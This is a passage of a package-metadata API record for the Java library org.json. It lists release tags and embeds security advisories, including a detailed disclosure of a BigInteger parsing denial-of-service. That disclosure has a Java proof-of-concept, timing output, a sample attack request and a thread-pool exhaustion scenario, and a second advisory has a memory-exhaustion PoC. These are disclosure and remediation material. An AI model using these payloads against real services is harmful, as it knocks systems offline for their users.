ories/stleary%2FJSON-java/tags/20180813/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20180813"},{"name":"20180130","sha":"61cdfefc364fd7d55b51eb00e8095d72e7138cdf","kind":"commit","published_at":"2018-01-31T01:46:24.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20180130","html_url":"https://github.com/stleary/JSON-java/releases/tag/20180130","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20180130","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20180130","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20180130/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20180130"},{"name":"20171018","sha":"cdf3cf7f814ad6a75ac51b1ec74f0d59ce8f6e6a","kind":"commit","published_at":"2017-10-18T01:05:29.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20171018","html_url":"https://github.com/stleary/JSON-java/releases/tag/20171018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20171018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20171018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20171018/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20171018"},{"name":"20170516","sha":"cbd8b18c4a52e9f17e5f463d62b2d6bf22c253dd","kind":"commit","published_at":"2017-05-16T05:29:00.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20170516","html_url":"https://github.com/stleary/JSON-java/releases/tag/20170516","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20170516","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20170516","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20170516/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20170516"},{"name":"20160810","sha":"37582a44ada8e5bbe6d987f41d3f834aaf28934c","kind":"commit","published_at":"2016-08-10T14:13:22.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20160810","html_url":"https://github.com/stleary/JSON-java/releases/tag/20160810","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20160810","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20160810","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20160810/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20160810"},{"name":"20160807","sha":"8e079599c4144bc86859a64301dbeebba4271c01","kind":"commit","published_at":"2016-08-07T20:19:44.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20160807","html_url":"https://github.com/stleary/JSON-java/releases/tag/20160807","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20160807","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20160807","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20160807/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20160807"},{"name":"20160212","sha":"07a0f60b6e0e26033c2461637aa30437053a88f8","kind":"commit","published_at":"2016-02-13T00:10:13.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20160212","html_url":"https://github.com/stleary/JSON-java/releases/tag/20160212","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20160212","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20160212","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20160212/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20160212"},{"name":"20151123","sha":"44275e3b3c468be92a0aef5e0488fd19d29081df","kind":"commit","published_at":"2015-11-24T07:53:19.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20151123","html_url":"https://github.com/stleary/JSON-java/releases/tag/20151123","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20151123","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20151123","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20151123/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20151123"},{"name":"20150729","sha":"b0191a6acf6024b6b3efbd48dba8826ca79b950d","kind":"commit","published_at":"2015-07-30T00:50:14.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20150729","html_url":"https://github.com/stleary/JSON-java/releases/tag/20150729","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20150729","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20150729","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20150729/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20150729"}]},"repo_metadata_updated_at":"2026-11-23T10:22:43.162010Z","dependent_packages_count":3861,"downloads":null,"downloads_period":null,"dependent_repos_count":84399,"rankings":{"downloads":null,"dependent_repos_count":0.012222489380460047,"dependent_packages_count":0.016830968982928587,"stargazers_count":4.886992065400337,"forks_count":2.784122785926104,"docker_downloads_count":0.014226176164142021,"average":1.5428788971707943},"purl":"pkg:maven/org.json/json","advisories":[{"uuid":"GSA_kwCzR0hTQS1naGM5LTc1NmctdnJjds4ACBKY","url":"https://github.com/advisories/GHSA-ghc9-756g-vrcv","title":"JSON-java: JSONTokener Has Unbounded Numeric String Resource-Exhaustion DoS","description":"## 1. Executive Summary\n\nJSON-java version 20260522 contains an unguarded path from an HTTP request body to unbounded `BigInteger` and `BigDecimal` construction. `JSONTokener.nextSimpleValue()` accumulates numeric characters into a `StringBuilder` with no length cap, then passes the full string to `JSONObject.stringToNumber()`, which calls `new BigInteger(val)` or `new BigDecimal(val)` directly. Both constructors have polynomial time complexity (O(n^1.585) for `BigInteger`).\n\nA 488 KB JSON body — well within nginx's default 1 MB body-size limit — contains a 500,000-digit numeric literal that blocks the handling thread for approximately 3 seconds. Spring Boot has no default size limit for `application/json` request bodies. No parser configuration option (`withStrictMode`, `withKeepStrings`) prevents this. All three primary entry points are affected: `new JSONObject(String)`, `new JSONArray(String)`, and `XML.toJSONObject(String)`.\n\nThis vulnerability is distinct from CVE-2023-5072 (which addressed `StackOverflowError` from deeply nested JSON *structures* via a `try/catch` in `nextValue()`) and from CVE-2022-45688 (which addressed recursive XML nesting depth). The numeric string length issue has been present since BigInteger support was introduced in release 20150729 and has never been fixed in any subsequent release.\n\n**Attack Complexity is rated High** because successful exploitation requires the target application to be using org.json specifically (rather than the default Jackson library used by Spring Boot), and requires the developer to have explicitly passed user-controlled input to `new JSONObject()` or equivalent. These are deployment conditions beyond the attacker's control. See Section 6 for the full CVSS rationale and Section 8 for the comparison with Jackson's treatment of the same issue class.\n\nThis vulnerability was **reproduced locally against json-20260522.jar** with full evidence provided below.\n\n---\n\n## 2. Vulnerability Description\n\n`JSONTokener.nextSimpleValue()` accumulates characters into a `StringBuilder` with no length limit until it hits a structural JSON character:\n\n**`JSONTokener.java:500–504`:**\n```java\nStringBuilder sb = new StringBuilder();\nwhile (c \u003e= ' ' \u0026\u0026 \",:]}/\\\\\\\"[{;=#\".indexOf(c) \u003c 0) {\n    sb.append(c);     // unbounded — no length check\n    c = this.next();\n}\n```\n\nThe accumulated string is passed to `JSONObject.stringToValue()` → `stringToNumber()`, which calls `new BigInteger(val)` with zero size guard:\n\n**`JSONObject.java:2738`:**\n```java\nBigInteger bi = new BigInteger(val);   // val can be arbitrarily large; no guard\n```\n\n`BigInteger(String)` has O(n^1.585) time complexity due to its internal Karatsuba multiplication during construction. A 100,000-digit input takes ~120 ms; a 1,000,000-digit input takes ~12 seconds. The decimal path (`new BigDecimal(val)`, reached when the string contains a `.` or exponent) is equally affected.\n\n**No configuration option prevents this.** `withStrictMode(true)` and `withKeepStrings(true)` are not checked in the `nextSimpleValue()` → `stringToNumber()` call chain. Confirmed by execution: both options still produce BigInteger in ~120 ms for a 100K-digit input.\n\n**Relationship to CVE-2023-5072:** CVE-2023-5072 (fixed in release 20231013) catches `StackOverflowError` thrown by deeply nested JSON *structures* (`{[` brackets) inside `nextValue()`:\n```java\n} catch (StackOverflowError e) {\n    throw new JSONException(\"JSON Array or Object depth too large to process.\", e);\n}\n```\nThis fix is in `nextValue()` and covers only recursive object/array structure depth. It has no effect on the numeric string length path in `nextSimpleValue()` → `stringToNumber()`. The BigInteger length issue was not addressed in 20231013 or in any subsequent release.\n\n---\n\n## 3. Affected Code Locations\n\n| File | Lines | Description |\n|------|-------|-------------|\n| `JSONTokener.java` | 500–504 | `nextSimpleValue()` — unbounded character accumulation into `StringBuilder`, no length cap |\n| `JSONObject.java` | 2721–2748 | `stringToNumber()` — `new BigInteger(val)` / `new BigDecimal(val)` called directly with no length guard |\n\n---\n\n## 4. Proof of Concept (Locally Verified)\n\n### 4.1 POC Code\n\n```java\nimport org.json.*;\n\npublic class Poc2NumericDoSv2 {\n    public static void main(String[] args) {\n        System.out.println(\"=== CVE-002: JSONTokener Unbounded Numeric String DoS ===\");\n\n        // Scaling: timing at different digit counts\n        System.out.println(\"\\n-- Unquoted numeric literal (JSONObject) --\");\n        int[] sizes = {10_000, 100_000, 200_000, 500_000, 1_000_000};\n        for (int numLen : sizes) {\n            String payload = \"{\\\"x\\\":\" + \"9\".repeat(numLen) + \"}\";\n            long start = System.currentTimeMillis();\n            JSONObject jo = new JSONObject(payload);\n            long elapsed = System.currentTimeMillis() - start;\n            System.out.printf(\"  %,7d digits (~%3d KB): %,5d ms  type=%s%n\",\n                numLen, payload.length()/1024, elapsed, jo.get(\"x\").getClass().getSimpleName());\n        }\n\n        // All affected entry points\n        System.out.println(\"\\n-- All affected entry points (100K digits) --\");\n        String p = \"9\".repeat(100_000);\n        long t;\n        t = System.currentTimeMillis(); new JSONObject(\"{\\\"n\\\":\" + p + \"}\");\n        System.out.println(\"  new JSONObject(String):     \" + (System.currentTimeMillis()-t) + \" ms\");\n        t = System.currentTimeMillis(); new JSONArray(\"[\" + p + \"]\");\n        System.out.println(\"  new JSONArray(String):      \" + (System.currentTimeMillis()-t) + \" ms\");\n        t = System.currentTimeMillis(); XML.toJSONObject(\"\u003cr\u003e\" + p + \"\u003c/r\u003e\");\n        System.out.println(\"  XML.toJSONObject(String):   \" + (System.currentTimeMillis()-t) + \" ms\");\n\n        // No configuration option prevents the DoS\n        System.out.println(\"\\n-- Configuration bypass attempts (100K digits) --\");\n        String payload100k = \"{\\\"n\\\":\" + p + \"}\";\n        t = System.currentTimeMillis();\n        new JSONObject(payload100k, new JSONParserConfiguration().withStrictMode(true));\n        System.out.println(\"  withStrictMode(true):       \" + (System.currentTimeMillis()-t) + \" ms  [no protection]\");\n        t = System.currentTimeMillis();\n        new JSONObject(payload100k, new JSONParserConfiguration().withKeepStrings(true));\n        System.out.println(\"  withKeepStrings(true):      \" + (System.currentTimeMillis()-t) + \" ms  [no protection]\");\n\n        System.out.println(\"\\nRESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.\");\n    }\n}\n```\n\n### 4.2 Actual Execution Evidence (Reproduced Against json-20260522.jar)\n\n```\n=== CVE-002: JSONTokener Unbounded Numeric String DoS ===\n\n-- Unquoted numeric literal (JSONObject) --\n   10,000 digits (~  9 KB):    17 ms  type=BigInteger\n  100,000 digits (~ 97 KB):   123 ms  type=BigInteger\n  200,000 digits (~195 KB):   479 ms  type=BigInteger\n  500,000 digits (~488 KB): 2,975 ms  type=BigInteger\n  1,000,000 digits (~976 KB): 11,909 ms  type=BigInteger\n\n-- All affected entry points (100K digits) --\n  new JSONObject(String):     121 ms\n  new JSONArray(String):      120 ms\n  XML.toJSONObject(String):   123 ms\n\n-- Configuration bypass attempts (100K digits) --\n  withStrictMode(true):       121 ms  [no protection]\n  withKeepStrings(true):      124 ms  [no protection]\n\nRESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.\n```\n\n**Key observations:**\n- All three primary entry points (`JSONObject`, `JSONArray`, `XML.toJSONObject`) are equally affected\n- Neither `withStrictMode(true)` nor `withKeepStrings(true)` reduces the delay\n- A 488 KB payload produces a ~3 second thread blockage\n- Scaling is super-linear: doubling digits from 500K to 1M increases parse time approximately 4× (consistent with O(n^1.585))\n\n---\n\n## 5. Attack Scenarios\n\n### 5.1 Thread-Pool Exhaustion via Concurrent Requests\n\nA Java web application that explicitly uses org.json for request body parsing exposes a JSON endpoint. The developer parses the request body with `new JSONObject(requestBody)`.\n\n**Single attack request:**\n```\nPOST /api/order HTTP/1.1\nHost: target.example.com\nContent-Type: application/json\nContent-Length: 500011\n\n{\"amount\":999...999}   (500,000 nines — ~488 KB body)\n```\n\n**Effect:** This single request occupies one Tomcat thread for ~3 seconds. To exhaust a default 200-thread Tomcat pool, the attacker sends 200 concurrent such requests — a total of ~95 MB of concurrent traffic (200 × 488 KB), achievable with any standard load-generation tool (`ab`, `wrk`, `hey`). While those threads are occupied, legitimate user requests queue and time out.\n\n**Why common defaults do not prevent this:**\n- nginx default `client_max_body_size` = 1 MB → 488 KB payload passes through\n- Spring Boot has **no default size limit** for `application/json` `@RequestBody` (Tomcat's `maxPostSize` applies only to `application/x-www-form-urlencoded` and `multipart/form-data`, not to JSON)\n- No configuration option within org.json itself provides any protection\n\n### 5.2 Amplification Ratio\n\nThe blocking time grows super-linearly with payload size, creating an asymmetric attack:\n\n| Payload size | Thread blockage | Ratio (ms per KB sent) |\n|-------------|-----------------|------------------------|\n| 9 KB (10K digits) | 17 ms | 1.9 ms/KB |\n| 97 KB (100K digits) | 123 ms | 1.3 ms/KB |\n| 195 KB (200K digits) | 479 ms | 2.5 ms/KB |\n| 488 KB (500K digits) | ~2,975 ms | 6.1 ms/KB |\n| 976 KB (1M digits) | ~11,909 ms | 12.2 ms/KB |\n\nA 488 KB request — well within nginx's 1 MB default — ties up a server thread for 3 seconds. The ratio of CPU time consumed to bytes sent grows with payload size due to Karatsuba's super-linear complexity.\n\n### 5.3 All Primary Entry Points Are Affected\n\nThe vulnerability is not limited to `new JSONObject(String)`. Any org.json parsing call on the same numeric input produces the same delay:\n\n```\nnew JSONObject(String):     121 ms  (for 100K digits)\nnew JSONArray(String):      120 ms  (for 100K digits)\nXML.toJSONObject(String):   123 ms  (for 100K digits)\n```\n\nAny endpoint that parses user-controlled JSON or XML through org.json is a potential target, regardless of which specific API method is used.\n\n---\n\n## 7. Remediation\n\n**Primary fix — `nextSimpleValue()` in `JSONTokener.java`:**\n\nAdd a numeric token length cap in the accumulation loop, configurable via `JSONParserConfiguration`. The guard must fire before the string is passed to `stringToNumber()`:\n\n```java\n// In JSONTokener.nextSimpleValue(), inside the while loop (line 501):\nif (sb.length() \u003e jsonParserConfiguration.getMaxNumberLength()) {\n    throw this.syntaxError(\"Numeric literal exceeds maximum allowed length of \"\n        + jsonParserConfiguration.getMaxNumberLength());\n}\n```\n\n**Expose the limit in `JSONParserConfiguration`:**\n\n```java\nprivate int maxNumberLength = 1_000;  // matches Jackson's DEFAULT_MAX_NUM_LEN\n\npublic JSONParserConfiguration withMaxNumberLength(int maxNumberLength) {\n    JSONParserConfiguration newConfig = this.clone();\n    newConfig.maxNumberLength = maxNumberLength;\n    return newConfig;\n}\npublic int getMaxNumberLength() { return this.maxNumberLength; }\n```\n\nA safe default of 1,000 characters matches the `StreamReadConstraints.DEFAULT_MAX_NUM_LEN` value introduced in Jackson 2.15 (released April 2023) specifically to address this class of vulnerability. org.json has no equivalent protection as of version 20260522.\n\n**Defense-in-depth (application-level):** Configure an upstream body size limit independent of any library fix. For nginx: `client_max_body_size 64k;`. For Spring Boot: register a `CommonsRequestLoggingFilter` or a `OncePerRequestFilter` that caps `Content-Length` before the body reaches the controller. These measures reduce the maximum achievable digit count but do not eliminate the root cause and should not be treated as a substitute for a library-level fix.\n\n---\n\n## 8. Comparison with Jackson's Treatment of the Same Issue\n\nJackson 2.15.0 (released April 2023) introduced `StreamReadConstraints.withMaxNumberLength()` with a default limit of 1,000 digits to address this exact class of vulnerability — and did so **without a CVE being filed**. This raises a legitimate question: if the Jackson ecosystem handled the same issue without a CVE, why does org.json warrant one?\n\nThe two situations are materially different in three ways:\n\n**1. Jackson's fix was universal and automatic; org.json's omission is not.**\n\nJackson is the default JSON library in Spring Boot. When Jackson 2.15 shipped with `DEFAULT_MAX_NUM_LEN = 1000`, the protection was automatically applied to the entire Spring Boot ecosystem without any developer action. Every Spring Boot application upgrading to Spring Boot 3.1+ received the protection transparently.\n\norg.json has no equivalent protection in any version through 20260522. Applications using org.json receive no protection from any upstream fix and have no configurable option to enable it. There is no automatic upgrade path.\n\n**2. org.json has an established CVE precedent for the same DoS class.**\n\nThis project has already been assigned CVEs for resource-exhaustion vulnerabilities triggered by crafted parsing input:\n- **CVE-2022-45688**: XML recursive nesting DoS\n- **CVE-2023-5072**: JSON nested `{[` structure DoS\n\nBoth were assigned under the same root pattern: parser accepts unbounded user-controlled input, resulting in resource exhaustion. The numeric string length issue is the same pattern in the same library, in a code path that the two prior fixes explicitly left unaddressed. Treating this as a non-CVE while the two structurally identical prior issues were assigned CVEs would be inconsistent.\n\n**3. RFC 8259 explicitly permits — and implicitly recommends — setting limits on number length.**\n\nRFC 8259 §6 states: *\"This specification allows implementations to set limits on the range and precision of numbers accepted.\"* The RFC anticipates that secure implementations will impose such limits. org.json's NOTES.md acknowledges only *\"partial support\"* for BigInteger/BigDecimal, but provides no size guard and no documentation warning users of the DoS risk. The absence of a documented security boundary in the presence of an RFC-permitted and industry-standard protection mechanism constitutes an exploitable implementation deficiency.\n\n---\n\n## 9. Relationship to Prior CVEs\n\n| CVE | Fixed In | Root Cause | Code Path | Fix Applied |\n|-----|----------|-----------|-----------|-------------|\n| CVE-2022-45688 | 20230227 | XML recursive nesting → StackOverflow in `XML.parse()` | `XML.java` recursive `parse()` calls | Added `maxNestingDepth` parameter (default 512) in `ParserConfiguration` |\n| CVE-2023-5072 | 20231013 | JSON nested `{[` structures → StackOverflowError in `nextValue()` | `JSONTokener.nextValue()` → recursive `new JSONObject()` / `new JSONArray()` | Added `catch (StackOverflowError e)` in `nextValue()` |\n| **This report** | **Unfixed** | **Unbounded numeric string → O(n^1.585) BigInteger/BigDecimal construction** | **`nextSimpleValue()` → `stringToNumber()` → `new BigInteger(val)`** | **None** |\n\nThe three issues share the \"resource exhaustion during parsing\" symptom but have entirely separate root causes, code paths, and fixes. Neither prior CVE provides any protection against numeric string length attacks.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-11-09T21:12:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/stleary/JSON-java/security/advisories/GHSA-ghc9-756g-vrcv","https://nvd.nist.gov/vuln/detail/CVE-2026-59171","https://github.com/stleary/JSON-java/pull/1065","https://github.com/stleary/JSON-java/pull/1067","https://github.com/stleary/JSON-java/commit/703ac34a55400f9c50889e3d0c778b6d7962e81c","https://github.com/stleary/JSON-java/commit/ab92bb9088a37f9e346cd1dda66f6a3c40a201e0","https://github.com/stleary/JSON-java/commit/fce83c91bb229dde472283dea648a9a8955237fd","https://github.com/stleary/JSON-java/releases/tag/20260719","https://github.com/advisories/GHSA-ghc9-756g-vrcv"],"source_kind":"github","identifiers":["GHSA-ghc9-756g-vrcv","CVE-2026-59171"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-09T22:00:11.037Z","updated_at":"2026-12-03T11:00:53.828Z","epss_percentage":0.00631,"epss_percentile":0.51571,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naGM5LTc1NmctdnJjds4ACBKY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1naGM5LTc1NmctdnJjds4ACBKY","affected_repository_urls":[],"packages":[{"ecosystem":"maven","package_name":"org.json:json","versions":[{"first_patched_version":"20260719","vulnerable_version_range":"\u003e= 20150729, \u003c 20260719"}],"purl":"pkg:maven/org.json%3Ajson"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naGM5LTc1NmctdnJjds4ACBKY/related_packages","related_advisories":[{"uuid":"CVE-2026-59171","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59171.json"}]},{"uuid":"GSA_kwCzR0hTQS00anE5LTJ4aHctanB4N84AA3K3","url":"https://github.com/advisories/GHSA-4jq9-2xhw-jpx7","title":"Java: DoS Vulnerability in JSON-JAVA","description":"### Summary\nA denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/).  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\\` to escape special characters, including `\\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\\` characters in the escaped string.\n\n### Severity\nHigh - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.\n\n### Proof of Concept\n```java\npackage orgjsonbug;\n\nimport org.json.JSONObject;\n\n/**\n * Illustrates a bug in JSON-Java.\n */\npublic class Bug {\n  private static String makeNested(int depth) {\n    if (depth == 0) {\n      return \"{\\\"a\\\":1}\";\n    }\n    return \"{\\\"a\\\":1;\\t\\0\" + makeNested(depth - 1) + \":1}\";\n  }\n\n  public static void main(String[] args) {\n    String input = makeNested(30);\n    System.out.printf(\"Input string has length %d: %s\\n\", input.length(), input);\n    JSONObject output = new JSONObject(input);\n    System.out.printf(\"Output JSONObject has length %d: %s\\n\", output.toString().length(), output);\n  }\n}\n```\nWhen run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.\n\n### Further Analysis\nThe issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759).\n\n### Timeline\n**Date reported**: 07/14/2023\n**Date fixed**: \n**Date disclosed**: 10/12/2023","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-11-14T22:24:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7","https://nvd.nist.gov/vuln/detail/CVE-2023-5072","https://github.com/stleary/JSON-java/issues/758","https://github.com/stleary/JSON-java/issues/771","https://github.com/stleary/JSON-java/pull/759","https://github.com/stleary/JSON-java/commit/60662e2f8384d3449822a3a1179bfe8de67b55bb","https://github.com/advisories/GHSA-4jq9-2xhw-jpx7"],"source_kind":"github","identifiers":["GHSA-4jq9-2xhw-jpx7","CVE-2023-5072"],"repository_url":"https://github.com/stleary/JSON-java","blast_radius":0.0,"created_at":"2023-11-14T23:05:49.132Z","updated_at":"2026-12-05T00:12:50.093Z","epss_percentage":0.01741,"epss_percentile":0.78502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00anE5LTJ4aHctanB4N84AA3K3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00anE5LTJ4aHctanB4N84AA3K3","affected_repository_urls":[],"packages":[{"ecosystem":"maven","package_name":"org.json:json","versions":[{"first_patched_version":"20231013","vulnerable_version_range":"\u003c= 20230618"}],"purl":"pkg:maven/org.json%3Ajson"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00anE5LTJ4aHctanB4N84AA3K3/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2023-5072","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9317-1"},{"uuid":"DEBIAN-CVE-2023-5072","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2023-5072"},{"uuid":"CVE-2023-5072","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/5xxx/CVE-2023-5072.json"},{"uuid":"ALPINE-CVE-2023-5072","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2023-5072"}]},{"uuid":"GSA_kwCzR0hTQS1ybTdqLWY1ZzUtMjd2ds4AA2aj","url":"https://github.com/advisories/GHSA-rm7j-f5g5-27vv","title":"Duplicate Advisory: Denial of Service  in JSON-Java","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-4jq9-2xhw-jpx7. This link is maintained to preserve external references.\n\n## Original Description\nDenial of Service  in JSON-Java versions prior to 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.  \n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-10-12T18:30:28.000Z","withdrawn_at":"2023-11-14T22:24:36.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-5072","https://github.com/stleary/JSON-java/issues/758","https://github.com/stleary/JSON-java/issues/771","https://github.com/stleary/JSON-java/commit/60662e2f8384d3449822a3a1179bfe8de67b55bb","https://github.com/stleary/JSON-java/pull/759","https://github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7","http://www.openwall.com/lists/oss-security/2023/12/13/4","https://security.netapp.com/advisory/ntap-20240621-0007","https://github.com/advisories/GHSA-rm7j-f5g5-27vv"],"source_kind":"github","identifiers":["GHSA-rm7j-f5g5-27vv"],"repository_url":"https://github.com/stleary/JSON-java","blast_radius":0.0,"created_at":"2023-10-12T20:06:07.199Z","updated_at":"2026-08-17T16:17:27.505Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybTdqLWY1ZzUtMjd2ds4AA2aj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ybTdqLWY1ZzUtMjd2ds4AA2aj","affected_repository_urls":[],"packages":[{"ecosystem":"maven","package_name":"org.json:json","versions":[{"first_patched_version":"20231013","vulnerable_version_range":"\u003c= 20230618"}],"purl":"pkg:maven/org.json%3Ajson"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybTdqLWY1ZzUtMjd2ds4AA2aj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zdnFqLTQzdzQtMnE1OM4AAwSR","url":"https://github.com/advisories/GHSA-3vqj-43w4-2q58","title":"json stack overflow vulnerability","description":"A stack overflow in the XML.toJSONObject component of hutool-json v5.8.10 and org.json:json before version 20230227 allows attackers to cause a Denial of Service (DoS) via crafted JSON or XML data.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-12-13T15:30:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-45688","https://github.com/dromara/hutool/issues/2748","https://github.com/stleary/JSON-java/issues/708","https://github.com/stleary/JSON-java/commit/a6e412bded7a0ad605adfeca029318f184c32102","https://github.com/dromara/hutool/commit/6a2b585de0a380e8c12016dbaa1620b69be11b8c","https://github.com/dromara/hutool/releases/tag/5.8.25","https://github.com/advisories/GHSA-3vqj-43w4-2q58"],"source_kind":"github","identifiers":["GHSA-3vqj-43w4-2q58","CVE-2022-45688"],"repository_url":"https://github.com/dromara/hutool","blast_radius":0.0,"created_at":"2022-12-21T16:11:45.187Z","updated_at":"2026-12-05T00:11:08.437Z","epss_percentage":0.01258,"epss_percentile":0.70538,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdnFqLTQzdzQtMnE1OM4AAwSR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zdnFqLTQzdzQtMnE1OM4AAwSR","affected_repository_urls":[],"packages":[{"ecosystem":"maven","package_name":"cn.hutool:hutool-json","versions":[{"first_patched_version":"5.8.25","vulnerable_version_range":"\u003c 